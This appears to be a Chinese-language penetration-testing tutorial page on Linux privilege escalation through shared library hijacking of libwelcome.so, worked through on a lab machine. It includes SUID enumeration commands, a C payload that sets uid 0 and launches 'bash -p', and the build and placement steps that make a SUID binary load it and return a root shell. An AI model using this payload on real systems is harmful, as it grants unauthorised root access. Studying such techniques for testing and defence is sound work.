> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md). # libwelcome.so 共享库劫持 - Linux 权限提升共享库劫持（libwelcome.so）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。 ## 这是什么共享库劫持会在特权二进制文件加载缺失、可写或受攻击者控制的共享对象时滥用动态加载器。恶意 `.so` 可以以加载进程的权限执行代码。本页面重点介绍 **共享库劫持（libwelcome.so）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。 ## 枚举在运行利用路径之前，先确认本地环境和具体的配置错误。 ```bash ldd strace -f 2>&1 | grep -i open ``` ## 示例

存在漏洞的机械网站 attackdefense:

查找具有以下权限的文件： [SUID](/zh/privesc/suid.md) 权限： ```bash find / -perm -4000 2>/dev/null ```

如果库搜索路径可写，我们就可以将 `libwelcome.so` 直接放到二进制文件加载的目录中。

通过检查配置文件，我们可以看到库路径指向一个不存在的目录： `/home/student/lib`.

创建缺失的 `lib` 目录，并放置一个受控的 `test.c` payload：

这个 `test.c` payload 在特权二进制文件加载它时会以 root 身份启动一个 Bash shell： ```c #include #include int welcome(){ setuid(0); setgid(0); system("bash -p"); return 0; } ``` 将 payload 编译为预期的 `libwelcome.so` 共享对象： ```bash gcc -fPIC -shared test.c -o libwelcome.so ```

将编译好的共享对象移动到缺失的 `lib` 目录，并确认二进制文件能解析到它： ```bash ldd /usr/bin/welcome mv libwelcome.so lib ```

运行 `/usr/bin/welcome` 再次运行。二进制文件会加载恶意库并返回一个以 root 身份运行的 Bash shell：

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